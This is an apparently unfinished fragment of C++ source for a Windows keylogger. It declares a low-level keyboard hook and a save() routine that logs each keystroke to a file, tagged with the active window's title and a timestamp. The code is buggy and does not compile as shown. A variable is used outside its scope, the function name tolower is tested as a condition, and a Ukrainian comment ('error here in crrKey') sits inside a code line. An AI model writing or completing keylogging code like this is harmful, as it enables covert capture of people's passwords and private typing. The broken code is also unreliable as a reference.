#include <Windows.h>
#include <time.h>
#include <iostream>
#include <fstream>

using namespace std;

int save(int key);
LRESULT _stdcall HookCallBack(int ncode, WPARAM wParam, LPARAM lParam);
HHOOK hook;
KBDLLHOOKSTRUCT kbStruct;
ofstream file;
extern char prevProg[256];

int save(int key)
{
    if (key == 1 || key == 2)
    {
        return 0;
    }
    HWND foreground = GetForegroundWindow();
    DWORD threadId;
    HKL keyboardLayout;

    if (foreground)
    {
        threadId = GetWindowThreadProcessId(foreground, NULL);
        keyboardLayout = GetKeyboardLayout(threadId);
        char crrProg[256];
        GetWindowText(foreground, crrProg, 256);

        if (strcmp(crrProg, prevProg) != 0)
        {
            strcpy_s(prevProg, crrProg);
            time_t t = time(NULL);
            struct tm *tm = localtime(&t);
            char c[64];
            strftime(c, sizeof(c), "%c", tm);
            file << "\n\n\n[program: " << crrProg << "DateTime: " << c << "]";
        }
        cout << key << endl;

        if (key == VK_BACK)
            file << "BACKSPACE";
        else if (key == VK_RETURN)
            file << "\n";
        else if (key == VK_SPACE)
            file << " ";
        else if (key == VK_TAB)
            file << "[TAB]";
        else if (key == VK_SHIFT || key == VK_LSHIFT || key == VK_RSHIFT)
            file << "[SHIFT]";
        else if (key == VK_CONTROL || key == VK_LCONTROL || key == VK_RCONTROL)
            file << "[CTRL]";
        else if (key == VK_ESCAPE)
            file << "[ESC}";
        else if (key == VK_END)
            file << "[END]";
        else if (key == VK_HOME)
            file << "[HOME]";
        else if (key == VK_LEFT)
            file << "[LEFT]";
        else if (key == VK_RIGHT)
            file << "[RIGHT]";
        else if (key == VK_UP)
            file << "[UP]";
        else if (key == VK_DOWN)
            file << "[DOWN]";
        else if (key == 190 || key == 110)
            file << ".";
        else if (key == 189 || key == 109)
            file << "-";
        else if (key == 20)
            file << "[CAPS]";
        else
        {
            char crrKey;
            bool lower = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);

            if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 ||
                (GetKeyState(VK_LSHIFT) & 0x1000) != 0 ||
                (GetKeyState(VK_RSHIFT) & 0x1000) != 0 )
            {
                lower = !lower;
            }
        }
        crrKey = MapVirtualKeyExA(key, MAPVK_VK_TO_CHAR, keyboardLayout); - помилка тут в crrKey

        if (!tolower)
        {
            tolower(crrKey);
        }
    }
}